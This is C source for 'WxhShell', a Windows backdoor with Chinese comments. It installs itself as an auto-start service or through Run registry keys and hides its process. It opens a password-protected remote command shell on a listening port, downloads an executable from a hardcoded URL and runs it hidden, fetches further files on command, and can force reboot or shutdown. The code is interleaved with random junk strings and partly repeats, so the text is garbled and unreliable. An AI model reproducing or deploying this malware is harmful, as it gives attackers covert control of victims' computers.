['&_@ ULONG InheritedFromUniqueProcessId; s{1Deek= } PROCESS_BASIC_INFORMATION; @aqd'O |%2/I>o PROCNTQSIP NtQueryInformationProcess; ABq {<2iYN !ho5VAt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0]h8)EW static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oqd
N5+xt %X0NHta~@ HANDLE hProcess; H/p-YtY PROCESS_BASIC_INFORMATION pbi; <.A C=4@V @qO8Jg"Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fzkCI if(NULL == hInst ) return 0; U&]p!DV&; :EQme0OW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jm);|#y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j
J`Zz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >XXMIz: LrM.wr zI/ if (!NtQueryInformationProcess) return 0; HM$`z"p5jg Qa7S'( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y|0-m#1F# if(!hProcess) return 0; ;}>g1&q g~^{-6Vg if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [oU+b( O)RzNfI^`N CloseHandle(hProcess); XoxR5arj {YKMQI^O/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?D~SHcBaN if(hProcess==NULL) return 0; NBg>i7KQ mBpsgm:g^ HMODULE hMod; _iboTcUF char procName[255]; X!+Mgh6 unsigned long cbNeeded; ev: !,}]w ^;k _ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wD?=u\% & q5\LdI2 CloseHandle(hProcess); 9+is?Pj Am0.c0h if(strstr(procName,"services")) return 1; // 以服务启动 ]6VUqFO) i!d7,>l+Q~ return 0; // 注册表启动 j]?0}Z* } /o1)ZC$ WtdkA Sj // 主模块 18/@:u{ int StartWxhshell(LPSTR lpCmdLine) Qqhb]<z { ,@>rubUz SOCKET wsl; :56lzsWUE< BOOL val=TRUE; ;~@PYIp int port=0; <<2b2?aS` struct sockaddr_in door; mQA<t)1 <9k}CXv2PK if(wscfg.ws_autoins) Install(); )p^jsv. ,^IZ[D>u) port=atoi(lpCmdLine); k+R?JWC: {O&liU4 if(port<=0) port=wscfg.ws_port; 5WNg+ q' V{vFfY% WSADATA data; S7~F*CGBh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qQ
DFg` W &wDH if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "g:&Ge*X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qM:)daS1w door.sin_family = AF_INET; POg0=32 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'lRHdD}s door.sin_port = htons(port); [ 6o:v8&3 ty< tv|p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OYtus7q< closesocket(wsl); 6-X?uaY)os return 1; <[5$ {) } bSmaE7 H6JMN1#t$ if(listen(wsl,2) == INVALID_SOCKET) { UlN|Oy, closesocket(wsl); v|RaB return 1; K<w5[E9V. } 8(f0|@x^ Wxhshell(wsl); rH:X/i;D WSACleanup(); <$ZT]p T pH:|G return 0; P_g0G#`4 :lQjy@J } ^-;Z8M g5 |\G%dOt // 以NT服务方式启动 )* nbEZm@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xAz4ZXj=q { r~2@#gTbl DWORD status = 0; (@o
/>T DWORD specificError = 0xfffffff; Q0; gF? h16Nr x serviceStatus.dwServiceType = SERVICE_WIN32; (l_de)N7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; .F3LA6se serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2,Dc]oj serviceStatus.dwWin32ExitCode = 0; * !Y3N<>! serviceStatus.dwServiceSpecificExitCode = 0; ?E_p ,#9j) serviceStatus.dwCheckPoint = 0; #R PB;#{ serviceStatus.dwWaitHint = 0; hPpXB:(-0 6ch[B`[h, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'htA! KHF if (hServiceStatusHandle==0) return; RS02>$jo *K.7Zf0 status = GetLastError(); nJ})6/gK if (status!=NO_ERROR) Q4:r$
& { P]x+Q serviceStatus.dwCurrentState = SERVICE_STOPPED; OjEA;;qq serviceStatus.dwCheckPoint = 0; UnF4RF:A2& serviceStatus.dwWaitHint = 0; _NnOmwK7 serviceStatus.dwWin32ExitCode = status; /)4r2 x serviceStatus.dwServiceSpecificExitCode = specificError; uPv?Hq SetServiceStatus(hServiceStatusHandle, &serviceStatus); SW'KYzn return; |3@Pt>Ikl } oP75|p G&3<rT3Ib serviceStatus.dwCurrentState = SERVICE_RUNNING; ;l?(VqX_E serviceStatus.dwCheckPoint = 0; =F[,-B~ serviceStatus.dwWaitHint = 0; {o<p{q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w|o@r%Q#l } bd*(]S9d +`3ZH9 // 处理NT服务事件,比如:启动、停止 @BhAFv,7 VOID WINAPI NTServiceHandler(DWORD fdwControl) s9bP6N!, { h*Tiv^a switch(fdwControl) kP@OIhRe { |?=1tS{iT case SERVICE_CONTROL_STOP: ClZyQ=UAD serviceStatus.dwWin32ExitCode = 0; X}Z%@ tL serviceStatus.dwCurrentState = SERVICE_STOPPED; I>Yp=R serviceStatus.dwCheckPoint = 0;
@+#p:sE serviceStatus.dwWaitHint = 0; i}"JCqo2 { ?.ihWbW_ SetServiceStatus(hServiceStatusHandle, &serviceStatus);
H,~In2Z } &>fd:16 return; 2Hwf:S' case SERVICE_CONTROL_PAUSE: w! 7/;VJ3d serviceStatus.dwCurrentState = SERVICE_PAUSED; 4O^1gw break; )d`$2D&iY case SERVICE_CONTROL_CONTINUE: k>hZ serviceStatus.dwCurrentState = SERVICE_RUNNING; dD<kNa}2 break; CI'5JOqP case SERVICE_CONTROL_INTERROGATE: 5xUPqW%3 break; n#/m7 }; iW~f SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9V\`{(R } P@?CQvMx .r'.5RI A // 标准应用程序主函数 T9?_ `h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0u\@-np { ~vFo 0k( ^umAfk5r?H // 获取操作系统版本 _*I6O$/> OsIsNt=GetOsVer(); *2;3~8Y GetModuleFileName(NULL,ExeFile,MAX_PATH); \_bX2Lg mH .I! // 从命令行安装 j(JI$ if(strpbrk(lpCmdLine,"iI")) Install(); 0fU>L^P_? MsQS{ok+ // 下载执行文件 h %S#+t(Bf if(wscfg.ws_downexe) { ')cu/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~O$]y5 WinExec(wscfg.ws_filenam,SW_HIDE); @("AkYPj } (tN$G:+")F FG\?_G if(!OsIsNt) { t+ ]+Gn // 如果时win9x,隐藏进程并且设置为注册表启动 q%Pnx_RB HideProc(); N0C5FSH StartWxhshell(lpCmdLine); W9~datIh> } O~VUViS6$ else $h9!"f[|j if(StartFromService()) |0-L08DW // 以服务方式启动 p4 PFoFo2 StartServiceCtrlDispatcher(DispatchTable); f *vziC<m else *p^MAk9= // 普通方式启动 [:qX3"B StartWxhshell(lpCmdLine); j Xf-+;ZQ K<tg+(3 return 0; [&:oS35O } iy9]Y5b XjbK!. ~fe0Ba4 v*LL7b0A =========================================== /'&LM\ -(EqBr@_ {w++)N2sh x!+a,+G @ 2_&ti </QSMs " i747( ^ Y'T#
#include <stdio.h> S EmD's #include <string.h> ghl9gFFj #include <windows.h> y8@!2O4 #include <winsock2.h> M*N8p]3Cq #include <winsvc.h> $B2@mC([S #include <urlmon.h> MgekLP)& $&!U&uMt #pragma comment (lib, "Ws2_32.lib") 'e@}N)IX #pragma comment (lib, "urlmon.lib") NO1PGen "`k[4C #define MAX_USER 100 // 最大客户端连接数 !IS,[ #define BUF_SOCK 200 // sock buffer >/*\xg&J #define KEY_BUFF 255 // 输入 buffer ;b^@o,= 7o<RvM #define REBOOT 0 // 重启
^&}Y>O, #define SHUTDOWN 1 // 关机 >Vvc55z ~>n<b1}W #define DEF_PORT 5000 // 监听端口 KB^IGF lQzrf"N' #define REG_LEN 16 // 注册表键长度 ?=l(29tH #define SVC_LEN 80 // NT服务名长度 /%)J+K) #?9oA4Q // 从dll定义API QS_u<B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @;0Ep0[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ])`F$S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); seq$] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~BC5no ]WG\+1x9 // wxhshell配置信息 2+enRR~ struct WSCFG { 7>nA;F
8_ int ws_port; // 监听端口 iAN#TCwLT7 char ws_passstr[REG_LEN]; // 口令 Q|>y2g! int ws_autoins; // 安装标记, 1=yes 0=no 7;XdTx char ws_regname[REG_LEN]; // 注册表键名 y!#1A?|k char ws_svcname[REG_LEN]; // 服务名 wcO+P7g char ws_svcdisp[SVC_LEN]; // 服务显示名 ?@nu]~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 QMIXz[9w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u1uY*p int ws_downexe; // 下载执行标记, 1=yes 0=no 7G/"!ePW6` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xf0pQ]8\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &"BKue~q@p TzOf&cs/r }; &~j"3G;e dL"v*3Fy // default Wxhshell configuration [\!S-: struct WSCFG wscfg={DEF_PORT, lBCM;#P "xuhuanlingzhe", u!Z&c7kPI 1, NYCkYI "Wxhshell", a}wB7B;,g "Wxhshell", d;
M&X!Y "WxhShell Service", Rk'Dd4"m, "Wrsky Windows CmdShell Service", 3Ry?{m^ "Please Input Your Password: ", a7+BAma< 1, Ei#"r\q j_ "http://www.wrsky.com/wxhshell.exe", A`@we "Wxhshell.exe" ^}WeBU }; { "/@,!9rJ B *:6U+I // 消息定义模块 8]0^OSS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p~r +2(J char *msg_ws_prompt="\n\r? for help\n\r#>"; P6X 4m(t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "8-]6p3u char *msg_ws_ext="\n\rExit."; ON=xn|b4 char *msg_ws_end="\n\rQuit."; 6gp3n;D char *msg_ws_boot="\n\rReboot..."; 4Ld0AApncy char *msg_ws_poff="\n\rShutdown..."; ,3^N_>d$W char *msg_ws_down="\n\rSave to "; $N+azal+y 0n1y$*I4 char *msg_ws_err="\n\rErr!"; ?^yZVmAo] char *msg_ws_ok="\n\rOK!"; 4b 4nFRnH TfJB; char ExeFile[MAX_PATH]; 7OT}V}iP int nUser = 0; rtY0? HANDLE handles[MAX_USER]; Q<"zpwHR int OsIsNt; L%<1cE)) w7O(I" SERVICE_STATUS serviceStatus; ?4xTA
SERVICE_STATUS_HANDLE hServiceStatusHandle; G $?VYC8; 0|d%@ // 函数声明 JK,k@RE y] int Install(void); cP(/+
/9 int Uninstall(void); ^oA^z1>3 int DownloadFile(char *sURL, SOCKET wsh); ];IUiS1 int Boot(int flag); %GAEZH,2sG void HideProc(void); b-ZvEDCR int GetOsVer(void); O10h(Wg int Wxhshell(SOCKET wsl); aG,N>0k8 void TalkWithClient(void *cs); KaOS!e' int CmdShell(SOCKET sock); a?@j`@]ZR~ int StartFromService(void); @
j'I int StartWxhshell(LPSTR lpCmdLine); [Q)lJTs ^f>+5G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lB,.TK VOID WINAPI NTServiceHandler( DWORD fdwControl ); eRD s?n3F 3 bGpK9M~ // 数据结构和表定义 #VD[\# SERVICE_TABLE_ENTRY DispatchTable[] = M7En%sBp { 1 [dza5 {wscfg.ws_svcname, NTServiceMain}, 7ej"q {NULL, NULL} eja_+`cJ }; >`u} G1T\ 'kPShZS$b // 自我安装 N-;e"
g int Install(void) i9W@$I,f { @TsOc0?- char svExeFile[MAX_PATH]; Q;SMwCB0M HKEY key; 8L.Y0_x strcpy(svExeFile,ExeFile); ]{Iy< WM:we*k8h // 如果是win9x系统,修改注册表设为自启动 K6_{AuL}4 if(!OsIsNt) { Q+gQ"l,95 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i9uJ%nd: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Y7q2 RegCloseKey(key); D.4=4"qMi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <SOC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ABB4(_3E RegCloseKey(key); W|;
.G9 return 0; We_/:= } vfm|?\ } o|(-0mWBQA } 4)i/B99k else { mRFcZ.7 PO]z'LD // 如果是NT以上系统,安装为系统服务 D8qZh1w%A| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 80LKxA;5N if (schSCManager!=0) \XhzaM
{ kuqf( SC_HANDLE schService = CreateService %5NfF65' ( s=#3f3 schSCManager, :6./yj( wscfg.ws_svcname, ?(n|ykXwc wscfg.ws_svcdisp, SZea[~& SERVICE_ALL_ACCESS, `c ^2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e@F9'z4 SERVICE_AUTO_START, *O+G}_} SERVICE_ERROR_NORMAL, DI"mi1ObE svExeFile, 1zl6Rwk^o NULL, EQET:a:g NULL, ng;,;o. NULL, %c*azo. NULL, U5[xW NULL FcB]wz ); d:|X|0#\uH if (schService!=0) c~K^ooS- { m(L]R(t CloseServiceHandle(schService); _p"nR CloseServiceHandle(schSCManager); K1AI:$H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %XMwjBM strcat(svExeFile,wscfg.ws_svcname); 3.Oc8(N^} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { za` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G'{$$+U^K RegCloseKey(key); Po#;SG#Ee return 0; *tC]Z&5 } :,X,!0pWRp } |W];8 CloseServiceHandle(schSCManager); u[$ \
az7 } . T6fPEb } v}q3_m] (,#Rj$W return 1; P,^`|\#7 } m_LW<' FIG3P)) // 自我卸载 2"*7HS int Uninstall(void) F:"<4hiA" { c
%w
h HKEY key; 03Pa; n fOs"\Y4 if(!OsIsNt) { }J"}5O2,b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^R',P(@oL RegDeleteValue(key,wscfg.ws_regname); L
s6P<"V RegCloseKey(key); gswp:82e2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B:Ec(USe RegDeleteValue(key,wscfg.ws_regname); qPY
OO RegCloseKey(key); d~1Nct$: return 0; ~GZ!;An } %T4htZa } t2d_XQOK } m_{OCHS+ else { )xYv$6= + Bk"
khH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gmkD'CX*A if (schSCManager!=0) iTJSW { 9t:P1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); teh$W<C if (schService!=0) G?e"A0, { ,&[2z! if(DeleteService(schService)!=0) { bkk1_X CloseServiceHandle(schService); eq+t% CloseServiceHandle(schSCManager); SEsc"l8 return 0; ov>Rvy } 7A'd55I4 CloseServiceHandle(schService); 72@lDY4cE } ~"F83+RDe CloseServiceHandle(schSCManager); AW3\>WC } #Bq.'?c'~ } <\uz",e} "e.QiK return 1; 9i4!^DM_ } <8#Q5 $@k[Xh // 从指定url下载文件 uJ;7] int DownloadFile(char *sURL, SOCKET wsh) %%J)@k^vH { _hT-5)1r HRESULT hr; ,Y
1&[ char seps[]= "/"; d3Dw[4 char *token; q2v:lSFY char *file; _cra_(b char myURL[MAX_PATH]; \z>Re$: char myFILE[MAX_PATH]; g}HB|$P7 LDDeZY"xd strcpy(myURL,sURL); =\CJsS. token=strtok(myURL,seps); YNV!(>\GE while(token!=NULL) <s/n8#i=H { Ckd=tvL file=token; P2J{Ml# token=strtok(NULL,seps); Q|40
8EM } D4
{?f<G0F sjh>i>t GetCurrentDirectory(MAX_PATH,myFILE); Q(@/,%EF strcat(myFILE, "\\"); z.fh4p strcat(myFILE, file); !9GJ9ZEXM send(wsh,myFILE,strlen(myFILE),0); ShXk\" send(wsh,"...",3,0); |<nS<x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cI}qMc if(hr==S_OK) jIY
return 0; A)9[.fhx else v@zpF)| return 1; &0B<iO<f 4dy2m! } ~Ab nksR h{zE;!+)D // 系统电源模块 [NQ\(VQ1c int Boot(int flag) GdZ_ { Nxk3uF^ HANDLE hToken; VayU TOKEN_PRIVILEGES tkp; a[TR_uR f:$LVpXS- if(OsIsNt) { ,(aOTFQS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eL)*
K> T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^X2U
A{ tkp.PrivilegeCount = 1; Wtl0qug tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nya-Io. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); om 3$= if(flag==REBOOT) { bu`8QQ"C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u<8 f;C_ return 0; X8!=Xjl) } NOOP_:( 7H else { e&&;"^@- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KP)BD; return 0; f"XFf@! } ]W,K}~! } oicett=5 else { 99Xbp P55 if(flag==REBOOT) { -VK6Fq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?VM# Nf\ return 0; Y-(),k_Q: } ~$g$31/ else { "BB#[@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CbK&.a return 0; jYwv+EXg } (W~jr-O^ } @\gTi;u/x p%304oP6 return 1; ; n2|pC^ } a/@<KnT U^_'e_) // win9x进程隐藏模块 >M .?qs4 void HideProc(void) )"7hyW 5 { Ks&~VU GD1=Fb"&) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&y1' J if ( hKernel != NULL ) %N)o*H& { <j1l&H|ux, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .8is!TT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &s!"pEZWck FreeLibrary(hKernel); )c@I|L } 9GnNL I{ \GtZX!0 return; 4)=LOGW } H~-zq}4 +Q, 0kv // 获取操作系统版本 N"|^AF int GetOsVer(void) W5-p0,?[6 { Kb0OauW OSVERSIONINFO winfo; v _Bu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SsjO1F GetVersionEx(&winfo); qF6YH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L K9vvQz return 1; owe362q else g#ZR,q return 0; K5(?6hr; } |u)?h]> puS'9Lpp // 客户端句柄模块 .<v0y"amJ int Wxhshell(SOCKET wsl) /_rAy { L@?Dmn'v SOCKET wsh; CAY^ `K! struct sockaddr_in client; ]}9cOb%I DWORD myID; Vn1k C c=H(*# while(nUser<MAX_USER) P,!W\N%3 { 9>psQ0IRvr int nSize=sizeof(client); P*/p x4;6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,
j,[4^ if(wsh==INVALID_SOCKET) return 1; v%> ?~`Y D0PP
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =HP_IG_ if(handles[nUser]==0) uc%75TJ@ closesocket(wsh); YP~d1BWvf else n4)G g~PE nUser++; 6KhHS@Z } D`e!CprF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }.gDaxj =KNg "| return 0; z>k6 T4( } !'ajpK 2Iz@lrO6 // 关闭 socket .eXIbd<C void CloseIt(SOCKET wsh) [?W3XUJ,Y { .x6*9z#q closesocket(wsh); jL8& nUser--; c@
En4[a' ExitThread(0); ZERUvk } 6\O4R gq[}/E0e // 客户端请求句柄 0"u*K n void TalkWithClient(void *cs) ?`\<t$M { ]G&?e9OA o&*1Mx<+ SOCKET wsh=(SOCKET)cs; gbr|0h> char pwd[SVC_LEN]; ;eG%#=> char cmd[KEY_BUFF]; S3hJL:3c char chr[1]; xQ1&j,R] int i,j; e@k
ti@ZJ CJjma=XH while (nUser < MAX_USER) { a>sUq[" \R&`bAd k if(wscfg.ws_passstr) { p(nC9NGB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BAmH2" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1$@k@*u\ //ZeroMemory(pwd,KEY_BUFF); zfi{SO
l i=0; G7%Nwe~Y while(i<SVC_LEN) { nImRU.;P ?xK9 // 设置超时 ,n &|+& fd_set FdRead; ]t0?,q.$7 struct timeval TimeOut; sXoBw.^Ir_ FD_ZERO(&FdRead); s26s:A3rh FD_SET(wsh,&FdRead); a+\Gz TimeOut.tv_sec=8; n{Jvx>); TimeOut.tv_usec=0; 4,H}'@Db} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 76 =uk!#3{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BT d$n!'$n 3h0w8(k; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <%pi*:E| pwd=chr[0]; ?{_dW=AQ1 if(chr[0]==0xd || chr[0]==0xa) { ^_5$+ pwd=0; Z`b,0[rG[ break; 7jts;H= } P[XE5puC i++; BAoqO
Xv } .s7/bF (nBJ,v) // 如果是非法用户,关闭 socket Y ;&Cmi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,iSs2&$m } {j:{wW. F;q I^{m2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L>@0Nne7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pk;bx2CP8 'ARQ7 Q[` while(1) { rK=[&k *WX6C("M ZeroMemory(cmd,KEY_BUFF); dhm; #B+2qD>E // 自动支持客户端 telnet标准 NTAPx=!1* j=0; Yl-09)7s while(j<KEY_BUFF) { ?r'b
Z~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LgUaX cmd[j]=chr[0]; >2VB.f if(chr[0]==0xa || chr[0]==0xd) { -pqShDar| cmd[j]=0; JvHJ*E break; /-BplU*"9 } :4Q_\'P j++; a |z{Bb } /tt .P ,\69g~A // 下载文件 (''`Ce if(strstr(cmd,"http://")) { P?TFX.p7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); aYPzN<"% if(DownloadFile(cmd,wsh)) Nu9mK send(wsh,msg_ws_err,strlen(msg_ws_err),0); I9>1WT<Yy else sBRw#xyS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %X[|7D- } S4?ssI else { $orhY D3gv vkBngsS switch(cmd[0]) { Sl 6}5 dnNc,l&g // 帮助 v5<Ext
rV case '?': { ]Ff&zBJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .}CPZ3y break; +Do7rl } PeE'#&wn // 安装 &p4q# p7, case 'i': { urog.Q if(Install()) :_H$*Q=1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); p=7kFv else mH}AVje{
` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .6.oqb break; ,"}'NH@ } %C)U
F // 卸载 M%B]f2C case 'r': { X8*q[@$ if(Uninstall()) <'B`b send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7i/?+| else KWN&nP
+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;J?!D x break; YjG0: 9 } yil{RfBEr_ // 显示 wxhshell 所在路径 KN+*_L- case 'p': { x$M[/ID0 char svExeFile[MAX_PATH]; 6= 9 strcpy(svExeFile,"\n\r"); Ui1K66{ strcat(svExeFile,ExeFile); <pPI:D@G send(wsh,svExeFile,strlen(svExeFile),0); 8vaqj/ break; <cWo]T`X! } k,q` ^E8k // 重启 l}<s~ip case 'b': { ][qZOIk@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f Z \Ev%F if(Boot(REBOOT)) rU'&o) a^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1s#8: else { w@oq.K closesocket(wsh); N*o+m~:y ExitThread(0); hr)TC- } VSP[G ,J. break; \>jK\j } $]%k
<|X // 关机 *W i(% case 'd': { /?by4v73P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !0zM@p if(Boot(SHUTDOWN)) -98bX]8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); sQt@B#; else { -4HI9Czts closesocket(wsh); 9N
u;0 ExitThread(0); -pLb%f0? } ,sJ{2,]~ break; n){\KIU/O } Rhr]ML // 获取shell }RM?gE case 's': { 6%fU}si, CmdShell(wsh); V:IoeQ]- closesocket(wsh); i2swots ExitThread(0); LWIU7dw break; >0~y"~M } )_f
"[m% // 退出 gE8>5_R| case 'x': { \WZ00Y,* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b},OCVT? CloseIt(wsh); f5`exfdHE break; zzPgLE55 } B%r)~?6DM // 离开 #>!!#e!* case 'q': { +n%WmRf6! send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zb}=?fcL;@ closesocket(wsh); m~X:KwK4 WSACleanup(); i%-c/ lop exit(1); T\2cAW5 break; HW{+THNj } ,!Ah+x } GKm)wOb(*S } )8P<ZtEU
V_Y SYG9f // 提示信息 !QC-> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N !H iQ } 'm-s8]-W } Vwl`A3Y bC"#.e return; tohYwXN } QDSB
<0j 2uqdx'^" // shell模块句柄 H%sbf&
gi int CmdShell(SOCKET sock) &o)j@5Y? { g3"`b)M STARTUPINFO si; |-Y,:sY: ZeroMemory(&si,sizeof(si)); 9g "?`_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9n44 *sZ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NlWIb2, PROCESS_INFORMATION ProcessInfo; \}G/F! char cmdline[]="cmd"; D(L%fK` + CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %hOe `2#$ return 0; 6kYn5:BhIi } Vx?a&{3]- .!=2#< // 自身启动模式 wVw3YIN# int StartFromService(void) _`ot||J { ?l
bK;Kv typedef struct r=s2wjk { |8V+(Vzl DWORD ExitStatus; \W#M]Q DWORD PebBaseAddress; MheP@ [w|@ DWORD AffinityMask; 8]+hfB/ DWORD BasePriority; 8+
Hho@= ULONG UniqueProcessId; U%U%a,rA5s ULONG InheritedFromUniqueProcessId; dp-8,Seu } PROCESS_BASIC_INFORMATION; i wK,XnIR zq(AN< PROCNTQSIP NtQueryInformationProcess; 'KM@$2tK^q QBDi;Xzb+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q<Utwk?nL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5f}wQ !=eui$] HANDLE hProcess;
;-U:t4 PROCESS_BASIC_INFORMATION pbi; c1!h;(& Q>= :$I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8"RX~Igf if(NULL == hInst ) return 0; APy&~` h<.&,6R g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r!j_KiUy g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~eE2!/%9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z l@
<X0q {n2jAR9nq if (!NtQueryInformationProcess) return 0; |)yO]pB: ;/
WtO2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A"i40 @+ if(!hProcess) return 0; '}]w=2Lf l.Qj?G if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YzsHec So,EPB+ CloseHandle(hProcess); OG/R6k. `3\5&B |